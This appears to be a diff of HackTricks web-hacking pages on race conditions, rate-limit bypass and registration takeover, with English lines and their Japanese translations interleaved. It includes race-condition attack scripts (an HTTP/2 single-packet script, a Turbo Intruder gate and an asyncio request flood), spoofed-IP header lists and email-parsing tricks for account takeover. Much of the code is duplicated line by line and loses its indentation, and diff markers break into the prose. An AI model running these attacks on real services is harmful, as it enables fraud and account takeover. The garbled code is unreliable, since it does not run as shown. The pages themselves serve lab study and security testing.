- **Repeater**でも、Burp Suiteの新しい「**Send group in parallel**」オプションを使用できます。
- **limit-overrun**の場合、グループに**同じリクエストを50回**追加するだけで済みます。
- **connection warming**のために、**グループ**の**最初**にウェブサーバーの非静的部分への**リクエスト**を**追加**することができます。
- **delaying**プロセスのために、**1つのリクエストと別のリクエストの間**に**追加のリクエストを挿入**することができます。
- **multi-endpoint** RCの場合、**隠れた状態**に送信される**リクエスト**を開始し、その後に**隠れた状態を悪用する50のリクエスト**を送信することができます。
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\
When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack.
- **Automated python script**: このスクリプトの目的は、ユーザーのメールを変更し、新しいメールの検証トークンが最後のメールに届くまで継続的に確認することですこれは、コード内でメールを変更できるRCが見られたためで、検証が古いメールに送信される可能性があるため、メールを示す変数が最初のもので既に populated されていました)。\
「objetivo」という単語が受信したメールに見つかると、変更されたメールの検証トークンを受け取ったことがわかり、攻撃を終了します。
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@ -142,257 +137,250 @@ response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
h2_conn.setup_connection()
try_num = 100
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
print('---')
sleep(3)
h2_conn.close_connection()
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
response = requests.get(url, verify=False)
```
### シングルパケット攻撃の改善
### Improving Single Packet Attack
元の研究では、この攻撃には1,500バイトの制限があると説明されています。しかし、[**この投稿**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)では、**IP層のフラグメンテーションを使用してシングルパケット攻撃の1,500バイトの制限をTCPの**65,535 Bウィンドウ制限に拡張する方法**が説明されています**1つのパケットを複数のIPパケットに分割し、異なる順序で送信することで、すべてのフラグメントがサーバーに到達するまでパケットの再構成を防ぐことができます。この技術により、研究者は約166msで10,000リクエストを送信することができました。&#x20;
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.&#x20;
この改善により、同時に到着する必要がある数百/数千のパケットを必要とするRC攻撃がより信頼性の高いものになりますが、いくつかのソフトウェア制限がある可能性もあります。Apache、Nginx、Goなどの一般的なHTTPサーバーには、`SETTINGS_MAX_CONCURRENT_STREAMS`の設定がそれぞれ100、128、250に厳格に制限されています。しかし、NodeJSやnghttp2のような他のものは無制限です。\
これは基本的に、Apacheが単一のTCP接続から100のHTTP接続のみを考慮することを意味しますこのRC攻撃を制限します
Note that although this improvement makes the attack more reliable in RC that requiers hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, other like NodeJS and nghttp2 has it unlimited.\
This basically mean that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack).
この技術を使用したいくつかの例は、リポジトリ[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)で見つけることができます。
You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## 生のBF
## Raw BF
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
- **Repeater:** Check the examples from the previous section.
- **Intruder**: Send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.**
- **Turbo Intruder**
前の研究の前に、RCを引き起こすためにパケットをできるだけ早く送信しようとしたいくつかのペイロードがありました。
- **リピーター:** 前のセクションの例を確認してください。
- **侵入者**: **リクエスト**を**侵入者**に送信し、**オプションメニュー内でスレッド数を**30**に設定し、ペイロードとして**Null payloads**を選択し、**30**を生成します。
- **ターボ侵入者**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
table.add(req)
```
- **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## **RC Methodology**
### Limit-overrun / TOCTOU
This is the most basic type of race condition where **vulnerabilities** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**
これは、**アクションを実行できる回数を制限する場所に**現れる**脆弱性**の最も基本的なタイプのレースコンディションです。例えば、ウェブストアで同じ割引コードを何度も使用することです。非常に簡単な例は[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)**に見られます。**
There are many variations of this kind of attack, including:
この種の攻撃には多くのバリエーションがあります。例えば:
- Redeeming a gift card multiple times
- Rating a product multiple times
- Withdrawing or transferring cash in excess of your account balance
- Reusing a single CAPTCHA solution
- Bypassing an anti-brute-force rate limit
- ギフトカードを複数回利用する
- 製品を複数回評価する
- アカウント残高を超えて現金を引き出したり転送したりする
- 単一のCAPTCHA解決策を再利用する
- アンチブルートフォースレート制限を回避する
### **Hidden substates**
Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or **unintended machine substates**. Heres how to approach this:
複雑なレースコンディションを悪用することは、隠れたまたは**意図しないマシンのサブステート**と相互作用する短い機会を利用することを含むことがよくあります。これにアプローチする方法は次のとおりです:
1. **Identify Potential Hidden Substates**
- Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
- **Storage**: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
- **Action**: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
- **Keying**: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
2. **Conduct Initial Probing**
- Test the identified endpoints with race condition attacks, observing for any deviations from expected outcomes. Unexpected responses or changes in application behavior can signal a vulnerability.
3. **Demonstrate the Vulnerability**
- Narrow down the attack to the minimal number of requests needed to exploit the vulnerability, often just two. This step might require multiple attempts or automation due to the precise timing involved.
1. **潜在的な隠れたサブステートを特定する**
- ユーザープロファイルやパスワードリセットプロセスなど、重要なデータを変更または相互作用するエンドポイントを特定することから始めます。以下に焦点を当てます:
- **ストレージ**:クライアント側のデータを扱うエンドポイントよりも、サーバー側の永続データを操作するエンドポイントを優先します。
- **アクション**:既存のデータを変更する操作を探します。これは新しいデータを追加する操作よりも悪用可能な条件を作成する可能性が高いです。
- **キーイング**:成功した攻撃は通常、同じ識別子(例:ユーザー名やリセットトークン)に基づく操作を含みます。
2. **初期プロービングを実施する**
- 特定したエンドポイントに対してレースコンディション攻撃をテストし、期待される結果からの逸脱を観察します。予期しない応答やアプリケーションの動作の変化は脆弱性を示す可能性があります。
3. **脆弱性を示す**
- 脆弱性を悪用するために必要な最小限のリクエスト数に攻撃を絞り込みます。通常は2回です。このステップでは、正確なタイミングが関与するため、複数回の試行や自動化が必要になることがあります。
### Time Sensitive Attacks
Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.
リクエストのタイミングの精度は脆弱性を明らかにすることができ、特にタイムスタンプのような予測可能な方法がセキュリティトークンに使用される場合に顕著です。例えば、タイムスタンプに基づいてパスワードリセットトークンを生成すると、同時リクエストに対して同一のトークンが許可される可能性があります。
**To Exploit:**
**悪用するには:**
- Use precise timing, like a single packet attack, to make concurrent password reset requests. Identical tokens indicate a vulnerability.
- 単一パケット攻撃のような正確なタイミングを使用して、同時にパスワードリセットリクエストを行います。同一のトークンは脆弱性を示します。
**Example:**
**例:**
- Request two password reset tokens at the same time and compare them. Matching tokens suggest a flaw in token generation.
- 同時に2つのパスワードリセットトークンをリクエストし、それらを比較します。トークンが一致する場合、トークン生成に欠陥があることを示唆します。
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
**これを試すには** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **を確認してください。**
## Hidden substates case studies
### Pay & add an Item
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
この[**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)を確認して、**支払い**を行い、**追加の**アイテムを**支払わずに追加する**方法を見てください。
### Confirm other emails
The idea is to **verify an email address and change it to a different one at the same time** to find out if the platform verifies the new one changed.
アイデアは、**メールアドレスを確認し、同時に別のものに変更する**ことで、プラットフォームが変更された新しいものを確認するかどうかを調べることです。
### Change email to 2 emails addresses Cookie based
According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
[**この研究**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる脆弱性があり、**一つのメールの**メール確認トークンを**別のメールに送信する**可能性があります。
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
**これを試すには** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **を確認してください。**
### Hidden Database states / Confirmation Bypass
If **2 different writes** are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**.
**2つの異なる書き込み**が**データベース**内に**情報**を**追加する**ために使用される場合、**最初のデータのみがデータベースに書き込まれた**小さな時間の部分があります。例えば、ユーザーを作成する際に、**ユーザー名**と**パスワード**が**書き込まれ**、**新しく作成されたアカウントを確認するためのトークン**が書き込まれます。これは、**アカウントを確認するためのトークンがnullである**小さな時間があることを意味します。
Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email.
したがって、**アカウントを登録し、空のトークン**`token=`または`token[]=`またはその他のバリエーション)を使用してアカウントをすぐに確認するために複数のリクエストを送信することは、**メールを制御していないアカウントを確認する**ことを可能にするかもしれません。
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
**これを試すには** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **を確認してください。**
### Bypass 2FA
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
以下の擬似コードは、セッションが作成されている間に**2FAが強制されていない**非常に短い時間があるため、レースコンディションに対して脆弱です:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2 永続的な持続性
### OAuth2 eternal persistence
いくつかの [**OAUth プロバイダー**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) があります。これらのサービスを使用すると、アプリケーションを作成し、プロバイダーが登録したユーザーを認証できます。そのためには、**クライアント**が**あなたのアプリケーション**に**OAUth プロバイダー**内のデータにアクセスすることを**許可する**必要があります。\
ここまで、google/linkedin/githubなどの一般的なログインで、"_アプリケーション \<InsertCoolName> があなたの情報にアクセスしたいと考えています。許可しますか_"というページが表示されます。
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
#### `authorization_code` におけるレースコンディション
#### Race Condition in `authorization_code`
**問題**は、あなたが**それを受け入れる**と、自動的に悪意のあるアプリケーションに**`authorization_code`**が送信されるときに発生します。その後、この**アプリケーションは OAUth サービスプロバイダーのレースコンディションを悪用して、あなたのアカウントの**`authorization_code`**から複数の AT/RT** (_認証トークン/リフレッシュトークン_) を生成します。基本的に、あなたがアプリケーションにデータへのアクセスを許可した事実を悪用して**複数のアカウントを作成します**。その後、もしあなたが**アプリケーションにデータへのアクセスを許可しなくなった場合、1対の AT/RT は削除されますが、他のものはまだ有効です**。
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**.
#### `Refresh Token` におけるレースコンディション
#### Race Condition in `Refresh Token`
一度**有効な RT**を**取得すると、複数の AT/RT を生成するためにそれを悪用しようとすることができます**。さらに、**ユーザーが悪意のあるアプリケーションにデータへのアクセスの権限をキャンセルしても、**複数の RT はまだ有効です**。
Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
## **WebSockets における RC**
## **RC in WebSockets**
[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) では、**Web Sockets におけるレースコンディションを悪用するために、並行して WebSocket メッセージを送信する Java の PoC**を見つけることができます。
In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
## References
## 参考文献
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@ -406,8 +394,7 @@ In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

View File

@ -1,29 +1,28 @@
# Rate Limit Bypass
# レート制限バイパス
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}
{{#include ../banners/hacktricks-training.md}}
## Rate limit bypass techniques
## レート制限バイパス技術
### Exploring Similar Endpoints
### 類似エンドポイントの探索
Attempts should be made to perform brute force attacks on variations of the targeted endpoint, such as `/api/v3/sign-up`, including alternatives like `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` etc.
ターゲットエンドポイントのバリエーションに対してブルートフォース攻撃を試みるべきです。例えば、`/api/v3/sign-up`のようなエンドポイントや、`/Sing-up``/SignUp``/singup``/api/v1/sign-up``/api/sign-up`などの代替を含みます。
### Incorporating Blank Characters in Code or Parameters
### コードやパラメータに空白文字を組み込む
Inserting blank bytes like `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` into code or parameters can be a useful strategy. For example, adjusting a parameter to `code=1234%0a` allows for extending attempts through variations in input, like adding newline characters to an email address to get around attempt limitations.
`%00``%0d%0a``%0d``%0a``%09``%0C``%20`のような空白バイトをコードやパラメータに挿入することは有効な戦略です。例えば、パラメータを`code=1234%0a`に調整することで、入力のバリエーションを通じて試行を拡張することが可能になります。これは、メールアドレスに改行文字を追加して試行制限を回避するのに役立ちます。
### Manipulating IP Origin via Headers
Modifying headers to alter the perceived IP origin can help evade IP-based rate limiting. Headers such as `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, including using multiple instances of `X-Forwarded-For`, can be adjusted to simulate requests from different IPs.
### ヘッダーを介してIP起源を操作する
ヘッダーを変更して認識されるIP起源を変更することで、IPベースのレート制限を回避するのに役立ちます。`X-Originating-IP``X-Forwarded-For``X-Remote-IP``X-Remote-Addr``X-Client-IP``X-Host``X-Forwared-Host`などのヘッダーを調整し、`X-Forwarded-For`の複数のインスタンスを使用することで、異なるIPからのリクエストをシミュレートできます。
```bash
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
@ -37,38 +36,36 @@ X-Forwared-Host: 127.0.0.1
X-Forwarded-For:
X-Forwarded-For: 127.0.0.1
```
### 他のヘッダーの変更
### Changing Other Headers
ユーザーエージェントやクッキーなどの他のリクエストヘッダーを変更することが推奨されます。これらはリクエストパターンを特定し追跡するためにも使用される可能性があります。これらのヘッダーを変更することで、リクエスターの活動の認識と追跡を防ぐことができます。
Altering other request headers such as the user-agent and cookies is recommended, as these can also be used to identify and track request patterns. Changing these headers can prevent recognition and tracking of the requester's activities.
### APIゲートウェイの動作を利用する
### Leveraging API Gateway Behavior
一部のAPIゲートウェイは、エンドポイントとパラメータの組み合わせに基づいてレート制限を適用するように設定されています。パラメータの値を変えたり、重要でないパラメータをリクエストに追加することで、ゲートウェイのレート制限ロジックを回避し、各リクエストをユニークに見せることが可能です。例えば `/resetpwd?someparam=1`
Some API gateways are configured to apply rate limiting based on the combination of endpoint and parameters. By varying the parameter values or adding non-significant parameters to the request, it's possible to circumvent the gateway's rate-limiting logic, making each request appear unique. For exmple `/resetpwd?someparam=1`.
### 各試行の前にアカウントにログインする
### Logging into Your Account Before Each Attempt
各試行の前、または一連の試行の前にアカウントにログインすることで、レート制限カウンターをリセットできる場合があります。これは特にログイン機能をテストする際に有用です。Burp Suiteのようなツールでピッチフォーク攻撃を利用し、数回の試行ごとに資格情報を回転させ、リダイレクトをマークすることで、レート制限カウンターを効果的に再起動できます。
Logging into an account before each attempt, or every set of attempts, might reset the rate limit counter. This is especially useful when testing login functionalities. Utilizing a Pitchfork attack in tools like Burp Suite, to rotate credentials every few attempts and ensuring follow redirects are marked, can effectively restart rate limit counters.
### プロキシネットワークの利用
### Utilizing Proxy Networks
複数のIPアドレスにリクエストを分散させるためにプロキシのネットワークを展開することで、IPベースのレート制限を効果的に回避できます。さまざまなプロキシを通じてトラフィックをルーティングすることで、各リクエストは異なるソースから発信されているように見え、レート制限の効果を薄めます。
Deploying a network of proxies to distribute the requests across multiple IP addresses can effectively bypass IP-based rate limits. By routing traffic through various proxies, each request appears to originate from a different source, diluting the rate limit's effectiveness.
### 異なるアカウントやセッションに攻撃を分散させる
### Splitting the Attack Across Different Accounts or Sessions
ターゲットシステムがアカウントまたはセッションごとにレート制限を適用する場合、攻撃やテストを複数のアカウントやセッションに分散させることで、検出を回避するのに役立ちます。このアプローチは複数のアイデンティティやセッショントークンを管理する必要がありますが、許可された制限内に留まるために負荷を効果的に分散させることができます。
If the target system applies rate limits on a per-account or per-session basis, distributing the attack or test across multiple accounts or sessions can help in avoiding detection. This approach requires managing multiple identities or session tokens, but can effectively distribute the load to stay within allowable limits.
### 続けて試す
### Keep Trying
Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.
レート制限が存在していても、有効なOTPが送信されたときに応答が異なるかどうかを確認することをお勧めします。[**この投稿**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)では、バグハンターが20回の不成功な試行の後に401で応答されるとレート制限が発動しても、有効なものが送信された場合には200の応答が受信されることを発見しました。
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}

View File

@ -1,78 +1,77 @@
# Registration & Takeover Vulnerabilities
# 登録と乗っ取りの脆弱性
{{#include ../banners/hacktricks-training.md}}
## Registration Takeover
## 登録乗っ取り
### Duplicate Registration
### 重複登録
- Try to generate using an existing username
- Check varying the email:
- uppsercase
- \+1@
- add some dot in the email
- special characters in the email name (%00, %09, %20)
- Put black characters after the email: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- 既存のユーザー名を使用して生成を試みる
- メールアドレスを変えて確認する:
- 大文字
- \+1@
- メールにドットを追加する
- メール名に特殊文字を含める (%00, %09, %20)
- メールの後に黒い文字を入れる: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### Username Enumeration
### ユーザー名列挙
Check if you can figure out when a username has already been registered inside the application.
アプリケーション内でユーザー名がすでに登録されているかどうかを確認する。
### Password Policy
### パスワードポリシー
Creating a user check the password policy (check if you can use weak passwords).\
In that case you may try to bruteforce credentials.
ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードが使用できるか確認する)。\
その場合、資格情報をブルートフォース攻撃することを試みるかもしれない。
### SQL Injection
### SQLインジェクション
[**Check this page** ](sql-injection/#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms.
[**このページを確認**](sql-injection/#insert-statement)して、アカウントの乗っ取りを試みたり、**SQLインジェクション**を通じて情報を抽出する方法を学ぶ。
### Oauth Takeovers
### Oauth乗っ取り
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
### SAML Vulnerabilities
### SAML脆弱性
{{#ref}}
saml-attacks/
{{#endref}}
### Change Email
### メール変更
When registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails.
登録後、メールを変更して、この変更が正しく検証されるか、任意のメールに変更できるか確認する。
### More Checks
### その他のチェック
- Check if you can use **disposable emails**
- **Long** **password** (>200) leads to **DoS**
- **Check rate limits on account creation**
- Use username@**burp_collab**.net and analyze the **callback**
- **使い捨てメール**が使用できるか確認する
- **長い** **パスワード** (>200) は **DoS** を引き起こす
- **アカウント作成のレート制限を確認する**
- username@**burp_collab**.netを使用し、**コールバック**を分析する
## **Password Reset Takeover**
## **パスワードリセット乗っ取り**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
